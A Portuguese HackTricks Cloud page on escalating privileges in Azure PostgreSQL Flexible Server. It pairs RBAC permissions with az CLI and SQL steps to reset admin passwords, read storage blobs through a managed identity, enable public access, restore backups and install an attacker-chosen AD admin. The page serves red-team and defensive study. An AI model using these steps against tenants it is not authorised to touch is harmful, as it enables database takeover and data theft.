Az - PostgreSQL Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
PostgreSQL Privesc
Para mais informações sobre SQL Database, consulte:
Microsoft.DBforPostgreSQL/flexibleServers/read
&& Microsoft.DBforPostgreSQL/flexibleServers/write
Com esta permissão, você pode criar, atualizar ou excluir instâncias do PostgreSQL Flexible Server no Azure. Isso inclui provisionar novos servidores, modificar configurações de servidores existentes ou descomissionar servidores.
az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>
Por exemplo, essas permissões permitem alterar a senha do PostgreSQL, útil, é claro, no caso de a autenticação do PostgreSQL estar habilitada.
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
Além disso, com as permissões, você pode habilitar a identidade atribuída, operando com a identidade gerenciada anexada ao servidor. Aqui você pode encontrar todas as extensões que o Azure PostgreSQL flexible server suporta https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. Para poder usar essas extensões, alguns parâmetros do servidor (azure.extensions) precisam ser alterados. Por exemplo, aqui com uma identidade gerenciada que pode acessar o Azure Storage:
Primeiro, alteramos os parâmetros e garantimos que a identidade atribuída esteja habilitada:
az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"
az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled
CREATE EXTENSION IF NOT EXISTS azure_storage;
CREATE EXTERNAL DATA SOURCE ManagedIdentity
SELECT azure_storage.account_add('<storage-account>', '<storage-key>');
SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;
Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo:
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.DBforPostgreSQL/flexibleServers/backups/read
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Com essas permissões, você pode restaurar um servidor a partir de um backup com:
az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write
&& Microsoft.DBforPostgreSQL/flexibleServers/administrators/read
Com essa permissão, você pode configurar administradores do Azure Active Directory (AD) para um Servidor Flexível PostgreSQL. Isso pode ser explorado configurando-se ou configurando outra conta como administrador do AD, concedendo controle administrativo total sobre o servidor PostgreSQL. A atualização de um principal existente ainda não é suportada, então, se houver um criado, você deve excluí-lo primeiro.
É importante que o servidor flexível tenha identidades gerenciadas atribuídas a um usuário para uso.
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.